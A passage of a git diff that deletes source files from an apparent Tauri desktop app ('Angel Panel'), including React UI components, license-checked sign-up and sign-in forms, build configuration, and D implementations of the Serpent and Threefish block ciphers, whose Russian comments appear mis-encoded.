SeparatorPrimitive from "@radix-ui/react-separator" - -import { cn } from "@/lib/utils" - -const Separator = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->( - ( - { className, orientation = "horizontal", decorative = true, ...props }, - ref - ) => ( - - ) -) -Separator.displayName = SeparatorPrimitive.Root.displayName - -export { Separator } diff --git a/serpent.d b/serpent.d deleted file mode 100644 index 76ea3a1..0000000 --- a/serpent.d +++ /dev/null @@ -1,1030 +0,0 @@ -module angel.utils.cryptography.serpent; - -import angel.utils.cryptography.blockcipher; -import angel.utils.cryptography.bitmanip; - -/// Test serpent engine. Test vectors generated with BouncyCastle implementation. -unittest { - - string[] keys = [ - x"01010101010101010101010101010101", - x"0101010101010101010101010101010101010101", - x"010101010101010101010101010101010101010101010101", - x"01010101010101010101010101010101010101010101010101010101", - x"0101010101010101010101010101010101010101010101010101010101010101", - ]; - string[] plains = [ - x"01010101010101010101010101010101", - x"01010101010101010101010101010101", - x"01010101010101010101010101010101", - x"01010101010101010101010101010101", - x"01010101010101010101010101010101", - ]; - string[] ciphers = [ - x"63fc6f65f3f71e6d99d981be6de30751", - x"bc794e453a1b0bfd2475f2a40bf842ba", - x"292a63c6d15db833f38b40b153cc303c", - x"80808b4b6e93b6ff929a6105b508acbe", - x"4827fcff24454cf889642a5bb12397ec", - ]; - - SerpentEngine t = new SerpentEngine(); - blockCipherTest(t, keys, plains, ciphers); -} - -alias BlockCipherWrapper!Serpent SerpentEngine; - -/** - * Serpent is a 128-bit 32-round block cipher with variable key lengths, - * including 128, 192 and 256 bit keys conjectured to be at least as - * secure as three-key triple-DES. - *

    - * Serpent was designed by Ross Anderson, Eli Biham and Lars Knudsen as a - * candidate algorithm for the NIST AES Quest.> - *

    - * For further details see: - * http://fp.gladman.plus.com/cryptography_technology/serpent/ - */ - - /* Partially optimised Serpent S Box boolean functions derived */ - /* using a recursive descent analyser but without a full search */ - /* of all subtrees. This set of S boxes is the result of work */ - /* by Sam Simpson and Brian Gladman using the spare time on a */ - /* cluster of high capacity servers to search for S boxes with */ - /* this customised search engine. There are now an average of */ - /* 15.375 terms per S box. */ - /* */ - /* Copyright: Dr B. R Gladman (gladman@seven77.demon.co.uk) */ - /* and Sam Simpson (s.simpson@mia.co.uk) */ - /* 17th December 1998 */ - /* */ - /* We hereby give permission for information in this file to be */ - /* used freely subject only to acknowledgement of its origin. */ - - /** - * S0 - { 3, 8,15, 1,10, 6, 5,11,14,13, 4, 2, 7, 0, 9,12 } - 15 terms. - */ - nothrow @nogc { - void sb0(uint a, uint b, uint c, uint d) - { - uint t1 = a ^ d; - uint t3 = c ^ t1; - uint t4 = b ^ t3; - X3 = (a & d) ^ t4; - uint t7 = a ^ (b & t1); - X2 = t4 ^ (c | t7); - uint t12 = X3 & (t3 ^ t7); - X1 = (~t3) ^ t12; - X0 = t12 ^ (~t7); - } - - /** - * InvSO - {13, 3,11, 0,10, 6, 5,12, 1,14, 4, 7,15, 9, 8, 2 } - 15 terms. - */ - void ib0(uint a, uint b, uint c, uint d) - { - uint t1 = ~a; - uint t2 = a ^ b; - uint t4 = d ^ (t1 | t2); - uint t5 = c ^ t4; - X2 = t2 ^ t5; - uint t8 = t1 ^ (d & t2); - X1 = t4 ^ (X2 & t8); - X3 = (a & t4) ^ (t5 | X1); - X0 = X3 ^ (t5 ^ t8); - } - - /** - * S1 - {15,12, 2, 7, 9, 0, 5,10, 1,11,14, 8, 6,13, 3, 4 } - 14 terms. - */ - void sb1(uint a, uint b, uint c, uint d) - { - uint t2 = b ^ (~a); - uint t5 = c ^ (a | t2); - X2 = d ^ t5; - uint t7 = b ^ (d | t2); - uint t8 = t2 ^ X2; - X3 = t8 ^ (t5 & t7); - uint t11 = t5 ^ t7; - X1 = X3 ^ t11; - X0 = t5 ^ (t8 & t11); - } - - /** - * InvS1 - { 5, 8, 2,14,15, 6,12, 3,11, 4, 7, 9, 1,13,10, 0 } - 14 steps. - */ - void ib1(uint a, uint b, uint c, uint d) - { - uint t1 = b ^ d; - uint t3 = a ^ (b & t1); - uint t4 = t1 ^ t3; - X3 = c ^ t4; - uint t7 = b ^ (t1 & t3); - uint t8 = X3 | t7; - X1 = t3 ^ t8; - uint t10 = ~X1; - uint t11 = X3 ^ t7; - X0 = t10 ^ t11; - X2 = t4 ^ (t10 | t11); - } - - /** - * S2 - { 8, 6, 7, 9, 3,12,10,15,13, 1,14, 4, 0,11, 5, 2 } - 16 terms. - */ - void sb2(uint a, uint b, uint c, uint d) - { - uint t1 = ~a; - uint t2 = b ^ d; - uint t3 = c & t1; - X0 = t2 ^ t3; - uint t5 = c ^ t1; - uint t6 = c ^ X0; - uint t7 = b & t6; - X3 = t5 ^ t7; - X2 = a ^ ((d | t7) & (X0 | t5)); - X1 = (t2 ^ X3) ^ (X2 ^ (d | t1)); - } - - /** - * InvS2 - {12, 9,15, 4,11,14, 1, 2, 0, 3, 6,13, 5, 8,10, 7 } - 16 steps. - */ - void ib2(uint a, uint b, uint c, uint d) - { - uint t1 = b ^ d; - uint t2 = ~t1; - uint t3 = a ^ c; - uint t4 = c ^ t1; - uint t5 = b & t4; - X0 = t3 ^ t5; - uint t7 = a | t2; - uint t8 = d ^ t7; - uint t9 = t3 | t8; - X3 = t1 ^ t9; - uint t11 = ~t4; - uint t12 = X0 | X3; - X1 = t11 ^ t12; - X2 = (d & t11) ^ (t3 ^ t12); - } - - /** - * S3 - { 0,15,11, 8,12, 9, 6, 3,13, 1, 2, 4,10, 7, 5,14 } - 16 terms. - */ - void sb3(uint a, uint b, uint c, uint d) - { - uint t1 = a ^ b; - uint t2 = a & c; - uint t3 = a | d; - uint t4 = c ^ d; - uint t5 = t1 & t3; - uint t6 = t2 | t5; - X2 = t4 ^ t6; - uint t8 = b ^ t3; - uint t9 = t6 ^ t8; - uint t10 = t4 & t9; - X0 = t1 ^ t10; - uint t12 = X2 & X0; - X1 = t9 ^ t12; - X3 = (b | d) ^ (t4 ^ t12); - } - - /** - * InvS3 - { 0, 9,10, 7,11,14, 6,13, 3, 5,12, 2, 4, 8,15, 1 } - 15 terms - */ - void ib3(uint a, uint b, uint c, uint d) - { - uint t1 = a | b; - uint t2 = b ^ c; - uint t3 = b & t2; - uint t4 = a ^ t3; - uint t5 = c ^ t4; - uint t6 = d | t4; - X0 = t2 ^ t6; - uint t8 = t2 | t6; - uint t9 = d ^ t8; - X2 = t5 ^ t9; - uint t11 = t1 ^ t9; - uint t12 = X0 & t11; - X3 = t4 ^ t12; - X1 = X3 ^ (X0 ^ t11); - } - - /** - * S4 - { 1,15, 8, 3,12, 0,11, 6, 2, 5, 4,10, 9,14, 7,13 } - 15 terms. - */ - void sb4(uint a, uint b, uint c, uint d) - { - uint t1 = a ^ d; - uint t2 = d & t1; - uint t3 = c ^ t2; - uint t4 = b | t3; - X3 = t1 ^ t4; - uint t6 = ~b; - uint t7 = t1 | t6; - X0 = t3 ^ t7; - uint t9 = a & X0; - uint t10 = t1 ^ t6; - uint t11 = t4 & t10; - X2 = t9 ^ t11; - X1 = (a ^ t3) ^ (t10 & X2); - } - - /** - * InvS4 - { 5, 0, 8, 3,10, 9, 7,14, 2,12,11, 6, 4,15,13, 1 } - 15 terms. - */ - void ib4(uint a, uint b, uint c, uint d) - { - uint t1 = c | d; - uint t2 = a & t1; - uint t3 = b ^ t2; - uint t4 = a & t3; - uint t5 = c ^ t4; - X1 = d ^ t5; - uint t7 = ~a; - uint t8 = t5 & X1; - X3 = t3 ^ t8; - uint t10 = X1 | t7; - uint t11 = d ^ t10; - X0 = X3 ^ t11; - X2 = (t3 & t11) ^ (X1 ^ t7); - } - - /** - * S5 - {15, 5, 2,11, 4,10, 9,12, 0, 3,14, 8,13, 6, 7, 1 } - 16 terms. - */ - void sb5(uint a, uint b, uint c, uint d) - { - uint t1 = ~a; - uint t2 = a ^ b; - uint t3 = a ^ d; - uint t4 = c ^ t1; - uint t5 = t2 | t3; - X0 = t4 ^ t5; - uint t7 = d & X0; - uint t8 = t2 ^ X0; - X1 = t7 ^ t8; - uint t10 = t1 | X0; - uint t11 = t2 | t7; - uint t12 = t3 ^ t10; - X2 = t11 ^ t12; - X3 = (b ^ t7) ^ (X1 & t12); - } - - /** - * InvS5 - { 8,15, 2, 9, 4, 1,13,14,11, 6, 5, 3, 7,12,10, 0 } - 16 terms. - */ - void ib5(uint a, uint b, uint c, uint d) - { - uint t1 = ~c; - uint t2 = b & t1; - uint t3 = d ^ t2; - uint t4 = a & t3; - uint t5 = b ^ t1; - X3 = t4 ^ t5; - uint t7 = b | X3; - uint t8 = a & t7; - X1 = t3 ^ t8; - uint t10 = a | d; - uint t11 = t1 ^ t7; - X0 = t10 ^ t11; - X2 = (b & t10) ^ (t4 | (a ^ c)); - } - - /** - * S6 - { 7, 2,12, 5, 8, 4, 6,11,14, 9, 1,15,13, 3,10, 0 } - 15 terms. - */ - void sb6(uint a, uint b, uint c, uint d) - { - uint t1 = ~a; - uint t2 = a ^ d; - uint t3 = b ^ t2; - uint t4 = t1 | t2; - uint t5 = c ^ t4; - X1 = b ^ t5; - uint t7 = t2 | X1; - uint t8 = d ^ t7; - uint t9 = t5 & t8; - X2 = t3 ^ t9; - uint t11 = t5 ^ t8; - X0 = X2 ^ t11; - X3 = (~t5) ^ (t3 & t11); - } - - /** - * InvS6 - {15,10, 1,13, 5, 3, 6, 0, 4, 9,14, 7, 2,12, 8,11 } - 15 terms. - */ - void ib6(uint a, uint b, uint c, uint d) - { - uint t1 = ~a; - uint t2 = a ^ b; - uint t3 = c ^ t2; - uint t4 = c | t1; - uint t5 = d ^ t4; - X1 = t3 ^ t5; - uint t7 = t3 & t5; - uint t8 = t2 ^ t7; - uint t9 = b | t8; - X3 = t5 ^ t9; - uint t11 = b | X3; - X0 = t8 ^ t11; - X2 = (d & t1) ^ (t3 ^ t11); - } - - /** - * S7 - { 1,13,15, 0,14, 8, 2,11, 7, 4,12,10, 9, 3, 5, 6 } - 16 terms. - */ - void sb7(uint a, uint b, uint c, uint d) - { - uint t1 = b ^ c; - uint t2 = c & t1; - uint t3 = d ^ t2; - uint t4 = a ^ t3; - uint t5 = d | t1; - uint t6 = t4 & t5; - X1 = b ^ t6; - uint t8 = t3 | X1; - uint t9 = a & t4; - X3 = t1 ^ t9; - uint t11 = t4 ^ t8; - uint t12 = X3 & t11; - X2 = t3 ^ t12; - X0 = (~t11) ^ (X3 & X2); - } - - /** - * InvS7 - { 3, 0, 6,13, 9,14,15, 8, 5,12,11, 7,10, 1, 4, 2 } - 17 terms. - */ - void ib7(uint a, uint b, uint c, uint d) - { - uint t3 = c | (a & b); - uint t4 = d & (a | b); - X3 = t3 ^ t4; - uint t6 = ~d; - uint t7 = b ^ t4; - uint t9 = t7 | (X3 ^ t6); - X1 = a ^ t9; - X0 = (c ^ t7) ^ (d | X1); - X2 = (t3 ^ X1) ^ (X0 ^ (a & X3)); - } - - /** - * Apply the linear transformation to the register set. - */ - void LT() - { - uint x0 = rotateLeft(X0, 13); - uint x2 = rotateLeft(X2, 3); - uint x1 = X1 ^ x0 ^ x2 ; - uint x3 = X3 ^ x2 ^ x0 << 3; - - X1 = rotateLeft(x1, 1); - X3 = rotateLeft(x3, 7); - X0 = rotateLeft(x0 ^ X1 ^ X3, 5); - X2 = rotateLeft(x2 ^ X3 ^ (X1 << 7), 22); - } - - /** - * Apply the inverse of the linear transformation to the register set. - */ - void inverseLT() - { - uint x2 = rotateRight(X2, 22) ^ X3 ^ (X1 << 7); - uint x0 = rotateRight(X0, 5) ^ X1 ^ X3; - uint x3 = rotateRight(X3, 7); - uint x1 = rotateRight(X1, 1); - X3 = x3 ^ x2 ^ x0 << 3; - X1 = x1 ^ x0 ^ x2; - X2 = rotateRight(x2, 3); - X0 = rotateRight(x0, 13); - } - } -} \ No newline at end of file diff --git a/sheet.tsx b/sheet.tsx deleted file mode 100644 index f2bfa70..0000000 --- a/sheet.tsx +++ /dev/null @@ -1,138 +0,0 @@ -import * as React from "react" -import * as SheetPrimitive from "@radix-ui/react-dialog" -import { Cross2Icon } from "@radix-ui/react-icons" -import { cva, type VariantProps } from "class-variance-authority" - -import { cn } from "@/lib/utils" - -const Sheet = SheetPrimitive.Root - -const SheetTrigger = SheetPrimitive.Trigger - -const SheetClose = SheetPrimitive.Close - -const SheetPortal = SheetPrimitive.Portal - -const SheetOverlay = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -SheetOverlay.displayName = SheetPrimitive.Overlay.displayName - -const sheetVariants = cva( - "fixed z-50 gap-4 bg-background p-6 shadow-lg transition ease-in-out data-[state=closed]:duration-300 data-[state=open]:duration-500 data-[state=open]:animate-in data-[state=closed]:animate-out", - { - variants: { - side: { - top: "inset-x-0 top-0 border-b data-[state=closed]:slide-out-to-top data-[state=open]:slide-in-from-top", - bottom: - "inset-x-0 bottom-0 border-t data-[state=closed]:slide-out-to-bottom data-[state=open]:slide-in-from-bottom", - left: "inset-y-0 left-0 h-full w-3/4 border-r data-[state=closed]:slide-out-to-left data-[state=open]:slide-in-from-left sm:max-w-sm", - right: - "inset-y-0 right-0 h-full w-3/4 border-l data-[state=closed]:slide-out-to-right data-[state=open]:slide-in-from-right sm:max-w-sm", - }, - }, - defaultVariants: { - side: "right", - }, - } -) - -interface SheetContentProps - extends React.ComponentPropsWithoutRef, - VariantProps {} - -const SheetContent = React.forwardRef< - React.ElementRef, - SheetContentProps ->(({ side = "right", className, children, ...props }, ref) => ( - - - - - - Close - - {children} - - -)) -SheetContent.displayName = SheetPrimitive.Content.displayName - -const SheetHeader = ({ - className, - ...props -}: React.HTMLAttributes) => ( -

    -) -SheetHeader.displayName = "SheetHeader" - -const SheetFooter = ({ - className, - ...props -}: React.HTMLAttributes) => ( -
    -) -SheetFooter.displayName = "SheetFooter" - -const SheetTitle = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -SheetTitle.displayName = SheetPrimitive.Title.displayName - -const SheetDescription = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -SheetDescription.displayName = SheetPrimitive.Description.displayName - -export { - Sheet, - SheetPortal, - SheetOverlay, - SheetTrigger, - SheetClose, - SheetContent, - SheetHeader, - SheetFooter, - SheetTitle, - SheetDescription, -} diff --git a/sidebar.tsx b/sidebar.tsx deleted file mode 100644 index 29e43a9..0000000 --- a/sidebar.tsx +++ /dev/null @@ -1,762 +0,0 @@ -import * as React from "react" -import { Slot } from "@radix-ui/react-slot" -import { VariantProps, cva } from "class-variance-authority" -import { PanelLeft } from "lucide-react" - -import { useIsMobile } from "@/hooks/use-mobile" -import { cn } from "@/lib/utils" -import { Button } from "@/components/ui/button" -import { Input } from "@/components/ui/input" -import { Separator } from "@/components/ui/separator" -import { Sheet, SheetContent } from "@/components/ui/sheet" -import { Skeleton } from "@/components/ui/skeleton" -import { - Tooltip, - TooltipContent, - TooltipProvider, - TooltipTrigger, -} from "@/components/ui/tooltip" - -const SIDEBAR_COOKIE_NAME = "sidebar:state" -const SIDEBAR_COOKIE_MAX_AGE = 60 * 60 * 24 * 7 -const SIDEBAR_WIDTH = "16rem" -const SIDEBAR_WIDTH_MOBILE = "18rem" -const SIDEBAR_WIDTH_ICON = "3rem" -const SIDEBAR_KEYBOARD_SHORTCUT = "b" - -type SidebarContext = { - state: "expanded" | "collapsed" - open: boolean - setOpen: (open: boolean) => void - openMobile: boolean - setOpenMobile: (open: boolean) => void - isMobile: boolean - toggleSidebar: () => void -} - -const SidebarContext = React.createContext(null) - -function useSidebar() { - const context = React.useContext(SidebarContext) - if (!context) { - throw new Error("useSidebar must be used within a Sidebar.") - } - - return context -} - -const SidebarProvider = React.forwardRef< - HTMLDivElement, - React.ComponentProps<"div"> & { - defaultOpen?: boolean - open?: boolean - onOpenChange?: (open: boolean) => void - } ->( - ( - { - defaultOpen = true, - open: openProp, - onOpenChange: setOpenProp, - className, - style, - children, - ...props - }, - ref - ) => { - const isMobile = useIsMobile() - const [openMobile, setOpenMobile] = React.useState(false) - - // This is the internal state of the sidebar. - // We use openProp and setOpenProp for control from outside the component. - const [_open, _setOpen] = React.useState(defaultOpen) - const open = openProp ?? _open - const setOpen = React.useCallback( - (value: boolean | ((value: boolean) => boolean)) => { - if (setOpenProp) { - return setOpenProp?.( - typeof value === "function" ? value(open) : value - ) - } - - _setOpen(value) - - // This sets the cookie to keep the sidebar state. - document.cookie = `${SIDEBAR_COOKIE_NAME}=${open}; path=/; max-age=${SIDEBAR_COOKIE_MAX_AGE}` - }, - [setOpenProp, open] - ) - - // Helper to toggle the sidebar. - const toggleSidebar = React.useCallback(() => { - return isMobile - ? setOpenMobile((open) => !open) - : setOpen((open) => !open) - }, [isMobile, setOpen, setOpenMobile]) - - // Adds a keyboard shortcut to toggle the sidebar. - React.useEffect(() => { - const handleKeyDown = (event: KeyboardEvent) => { - if ( - event.key === SIDEBAR_KEYBOARD_SHORTCUT && - (event.metaKey || event.ctrlKey) - ) { - event.preventDefault() - toggleSidebar() - } - } - - window.addEventListener("keydown", handleKeyDown) - return () => window.removeEventListener("keydown", handleKeyDown) - }, [toggleSidebar]) - - // We add a state so that we can do data-state="expanded" or "collapsed". - // This makes it easier to style the sidebar with Tailwind classes. - const state = open ? "expanded" : "collapsed" - - const contextValue = React.useMemo( - () => ({ - state, - open, - setOpen, - isMobile, - openMobile, - setOpenMobile, - toggleSidebar, - }), - [state, open, setOpen, isMobile, openMobile, setOpenMobile, toggleSidebar] - ) - - return ( - - -
    - {children} -
    -
    -
    - ) - } -) -SidebarProvider.displayName = "SidebarProvider" - -const Sidebar = React.forwardRef< - HTMLDivElement, - React.ComponentProps<"div"> & { - side?: "left" | "right" - variant?: "sidebar" | "floating" | "inset" - collapsible?: "offcanvas" | "icon" | "none" - } ->( - ( - { - side = "left", - variant = "sidebar", - collapsible = "offcanvas", - className, - children, - ...props - }, - ref - ) => { - const { isMobile, state, openMobile, setOpenMobile } = useSidebar() - - if (collapsible === "none") { - return ( -
    - {children} -
    - ) - } - - if (isMobile) { - return ( - - -
    {children}
    -
    -
    - ) - } - - return ( -
    - {/* This is what handles the sidebar gap on desktop */} -
    - -
    - ) - } -) -Sidebar.displayName = "Sidebar" - -const SidebarTrigger = React.forwardRef< - React.ElementRef, - React.ComponentProps ->(({ className, onClick, ...props }, ref) => { - const { toggleSidebar } = useSidebar() - - return ( - - ) -}) -SidebarTrigger.displayName = "SidebarTrigger" - -const SidebarRail = React.forwardRef< - HTMLButtonElement, - React.ComponentProps<"button"> ->(({ className, ...props }, ref) => { - const { toggleSidebar } = useSidebar() - - return ( - -
    - - - -
    -
    - ); -}; - -export default Sign_in; diff --git a/sign_up.tsx b/sign_up.tsx deleted file mode 100644 index 63a6a16..0000000 --- a/sign_up.tsx +++ /dev/null @@ -1,228 +0,0 @@ -"use client"; - -import { zodResolver } from "@hookform/resolvers/zod"; -import { useForm } from "react-hook-form"; -import { z } from "zod"; -import { useToast } from "./hooks/use-toast"; -import { invoke } from "@tauri-apps/api/core"; -import { useNavigate } from "react-router-dom"; -import { Button } from "@/components/ui/button"; -import { - Form, - FormControl, - FormField, - FormItem, - FormLabel, - FormMessage, -} from "@/components/ui/form"; -import { Input } from "@/components/ui/input"; -import { Checkbox } from "@/components/ui/checkbox"; -import { validate_password, open_website } from "./global"; -import { TermsConditions } from "./terms"; -import { PrivacyPolicy } from "./privacy"; -import { Dialog, DialogTrigger, DialogOverlay } from "@/components/ui/dialog"; - -async function validate_license(license: string): Promise { - const isValid: boolean = await invoke("validate_license", { - license: license, - }); - - return new Promise((resolve) => { - setTimeout(() => { - resolve(isValid); - }, 1000); - }); -} - -async function validate_username(username: string): Promise { - const isValid: boolean = await invoke("validate_username", { - username: username, - }); - - return new Promise((resolve) => { - setTimeout(() => { - resolve(isValid); - }, 1000); - }); -} - -const formSchema = z.object({ - license: z - .string() - .refine(async (license) => await validate_license(license), { - message: "Invalid license. Please provide a valid license key.", - }), - username: z - .string() - .min(3, { - message: "Username must be at least 3 characters long.", - }) - .refine(async (username) => await validate_username(username), { - message: "Username is already in use. Please choose a different one.", - }), - password: z - .string() - .min(8, { - message: "Password must be at least 8 characters long.", - }) - .refine(async (password) => await validate_password(password), { - message: - "Password must contain at least one uppercase letter, one lowercase letter, one number, and one special character.", - }), - terms: z.boolean().refine((val) => val === true, { - message: "You must accept the Terms and Conditions.", - }), -}); - -const Sign_up = () => { - const nav = useNavigate(); - const form = useForm({ - resolver: zodResolver(formSchema), - defaultValues: { - username: "", - password: "", - license: "", - terms: false, - }, - }); - const { toast } = useToast(); - - async function onSubmit(_values: any) { - const version: string = await invoke("get_app_version"); - toast({ - title: "Success: Signed up", - description: `Loading Angel Panel v${version}...`, - }); - - setTimeout(() => { - nav("/dash"); - }, 2500); - } - - return ( -
    -
    -

    - Create an account -

    -
    - - ( - - Username - - - - - - )} - /> - ( - - Password - - - - - - )} - /> - ( - - License - - - - - - )} - /> -
    - - - - -
    - ( -
    - - - -
    - )} - /> - - - -
    -
    - ); -}; - -export default Sign_up; diff --git a/skeleton.tsx b/skeleton.tsx deleted file mode 100644 index 8c44794..0000000 --- a/skeleton.tsx +++ /dev/null @@ -1,15 +0,0 @@ -import { cn } from "@/lib/utils" - -function Skeleton({ - className, - ...props -}: React.HTMLAttributes) { - return ( -
    - ) -} - -export { Skeleton } diff --git a/splashscreen.tsx b/splashscreen.tsx deleted file mode 100644 index d746152..0000000 --- a/splashscreen.tsx +++ /dev/null @@ -1,13 +0,0 @@ -const SplashScreen = () => { - return ( -
    -
    - Splash Image -
    - -
    -
    - ); -}; - -export default SplashScreen; diff --git a/table.tsx b/table.tsx deleted file mode 100644 index 4dc8eab..0000000 --- a/table.tsx +++ /dev/null @@ -1,120 +0,0 @@ -import * as React from "react" - -import { cn } from "@/lib/utils" - -const Table = React.forwardRef< - HTMLTableElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -
    - - -)) -Table.displayName = "Table" - -const TableHeader = React.forwardRef< - HTMLTableSectionElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( - -)) -TableHeader.displayName = "TableHeader" - -const TableBody = React.forwardRef< - HTMLTableSectionElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( - -)) -TableBody.displayName = "TableBody" - -const TableFooter = React.forwardRef< - HTMLTableSectionElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( - tr]:last:border-b-0", - className - )} - {...props} - /> -)) -TableFooter.displayName = "TableFooter" - -const TableRow = React.forwardRef< - HTMLTableRowElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( - -)) -TableRow.displayName = "TableRow" - -const TableHead = React.forwardRef< - HTMLTableCellElement, - React.ThHTMLAttributes ->(({ className, ...props }, ref) => ( -
    [role=checkbox]]:translate-y-[2px]", - className - )} - {...props} - /> -)) -TableHead.displayName = "TableHead" - -const TableCell = React.forwardRef< - HTMLTableCellElement, - React.TdHTMLAttributes ->(({ className, ...props }, ref) => ( - [role=checkbox]]:translate-y-[2px]", - className - )} - {...props} - /> -)) -TableCell.displayName = "TableCell" - -const TableCaption = React.forwardRef< - HTMLTableCaptionElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -
    -)) -TableCaption.displayName = "TableCaption" - -export { - Table, - TableHeader, - TableBody, - TableFooter, - TableHead, - TableRow, - TableCell, - TableCaption, -} diff --git a/tabs.tsx b/tabs.tsx deleted file mode 100644 index 13f8c86..0000000 --- a/tabs.tsx +++ /dev/null @@ -1,53 +0,0 @@ -import * as React from "react" -import * as TabsPrimitive from "@radix-ui/react-tabs" - -import { cn } from "@/lib/utils" - -const Tabs = TabsPrimitive.Root - -const TabsList = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -TabsList.displayName = TabsPrimitive.List.displayName - -const TabsTrigger = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -TabsTrigger.displayName = TabsPrimitive.Trigger.displayName - -const TabsContent = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -TabsContent.displayName = TabsPrimitive.Content.displayName - -export { Tabs, TabsList, TabsTrigger, TabsContent } diff --git a/tailwind.config.ts b/tailwind.config.ts deleted file mode 100644 index 23d91cc..0000000 --- a/tailwind.config.ts +++ /dev/null @@ -1,75 +0,0 @@ -/** @type {import('tailwindcss').Config} */ -export default { - darkMode: ["class"], - content: [ - "./src/**/*.{js,ts,jsx,tsx}", - "./components/**/*.{js,ts,jsx,tsx}", - "./app/**/*.{js,ts,jsx,tsx}", - "./node_modules/@shadcn/ui/**/*.{js,ts,jsx,tsx}", - ], - theme: { - extend: { - borderRadius: { - lg: 'var(--radius)', - md: 'calc(var(--radius) - 2px)', - sm: 'calc(var(--radius) - 4px)' - }, - colors: { - background: 'hsl(var(--background))', - foreground: 'hsl(var(--foreground))', - card: { - DEFAULT: 'hsl(var(--card))', - foreground: 'hsl(var(--card-foreground))' - }, - popover: { - DEFAULT: 'hsl(var(--popover))', - foreground: 'hsl(var(--popover-foreground))' - }, - primary: { - DEFAULT: 'hsl(var(--primary))', - foreground: 'hsl(var(--primary-foreground))' - }, - secondary: { - DEFAULT: 'hsl(var(--secondary))', - foreground: 'hsl(var(--secondary-foreground))' - }, - muted: { - DEFAULT: 'hsl(var(--muted))', - foreground: 'hsl(var(--muted-foreground))' - }, - accent: { - DEFAULT: 'hsl(var(--accent))', - foreground: 'hsl(var(--accent-foreground))' - }, - destructive: { - DEFAULT: 'hsl(var(--destructive))', - foreground: 'hsl(var(--destructive-foreground))' - }, - border: 'hsl(var(--border))', - input: 'hsl(var(--input))', - ring: 'hsl(var(--ring))', - chart: { - '1': 'hsl(var(--chart-1))', - '2': 'hsl(var(--chart-2))', - '3': 'hsl(var(--chart-3))', - '4': 'hsl(var(--chart-4))', - '5': 'hsl(var(--chart-5))' - }, - sidebar: { - DEFAULT: 'hsl(var(--sidebar-background))', - foreground: 'hsl(var(--sidebar-foreground))', - primary: 'hsl(var(--sidebar-primary))', - 'primary-foreground': 'hsl(var(--sidebar-primary-foreground))', - accent: 'hsl(var(--sidebar-accent))', - 'accent-foreground': 'hsl(var(--sidebar-accent-foreground))', - border: 'hsl(var(--sidebar-border))', - ring: 'hsl(var(--sidebar-ring))' - } - } - }, - fontFamily: { - 'fira-code': ["Fira Code", "monospace"] - } - }, - plugins: [require("tailwindcss-animate")], -}; diff --git a/tauri.conf.json b/tauri.conf.json deleted file mode 100644 index 5244e66..0000000 --- a/tauri.conf.json +++ /dev/null @@ -1,34 +0,0 @@ -{ - "$schema": "https://schema.tauri.app/config/2", - "productName": "angel", - "version": "0.1.0", - "identifier": "net.angel.app", - "build": { - "beforeDevCommand": "bun run dev", - "devUrl": "http://localhost:1420", - "beforeBuildCommand": "bun run build", - "frontendDist": "../dist" - }, - "app": { - "windows": [ - { - "title": "angel", - "width": 1100, - "height": 750 - } - ], - "security": { - "csp": null - } - }, - "bundle": { - "active": true, - "targets": "all", - "icon": [ - "icons/32x32.png", - "icons/128x128.png", - "icons/icon.icns", - "icons/icon.ico" - ] - } -} diff --git a/terms.tsx b/terms.tsx deleted file mode 100644 index 5f3dee4..0000000 --- a/terms.tsx +++ /dev/null @@ -1,27 +0,0 @@ -import { Button } from "@/components/ui/button"; -import { - DialogClose, - DialogContent, - DialogDescription, - DialogFooter, - DialogHeader, - DialogTitle, -} from "@/components/ui/dialog"; - -export function TermsConditions() { - return ( - - - Terms & Conditions - bla bla bla terms - - - - - - - - ); -} diff --git a/threefish.d b/threefish.d deleted file mode 100644 index 371da21..0000000 --- a/threefish.d +++ /dev/null @@ -1,261 +0,0 @@ -module angel.utils.cryptography.threefish; - -import std.random : Random, unpredictableSeed, uniform; - -// memcpy -extern(C) nothrow @nogc void* memcpy(void* dst, const void* src, size_t n); - -class Threefish512 -{ - private { - // Размер блока шифра - enum blockSize = 64; - // КоличеÑтво 64-битных Ñлов в ключе (и в блоке) - enum Nw = 8; - // КоличеÑтво раундов - enum Nr = 72; - // КоличеÑтво раундов (за вычетом поÑледнего) - enum Ns = Nr / 4; - // Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¿ÐµÑ€ÐµÑтановки - uint[8] p = [2, 1, 4, 7, 6, 5, 0, 3]; - uint[8] p_1 = [6, 1, 0, 7, 2, 5, 4, 3]; - - // Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ ÑÐ¼ÐµÑˆÐ¸Ð²Ð°Ð½Ð¸Ñ Ð¸ переÑтановки - uint[4][8] r = [ - [46, 36, 19, 37], - [33, 27, 14, 42], - [17, 49, 36, 39], - [44, 9 , 54, 56], - [39, 30, 34, 24], - [13, 50, 10, 17], - [25, 29, 39, 43], - [8 , 35, 56, 22] - ]; - - // Твик-значение (Ñвободный параметр алгоритма) - ulong[3] t; - // Раундовые ключи - ulong[8][Ns + 1] subKeys; - - auto _mix(ref ulong[2] x, ulong r, ref ulong[2] y) - { - y[0] = x[0] + x[1]; - y[1] = (x[1] << r) | (x[1] >> (64 - r)); - y[1] ^= y[0]; - } - - auto _demix(ref ulong[2] y, ulong r, ref ulong[2] x) - { - y[1] ^= y[0]; - x[1] = (y[1] << (64 - r)) | (y[1] >> r); - x[0] = y[0] - x[1]; - } - - alias _mod8 = (ulong a) => a & 7UL; - } - - /// Шифрование блока - /// plain - указатель на блок Ð´Ð»Ñ ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ, c - маÑÑив-приемник результата - void crypt(ulong* plainData, ulong* 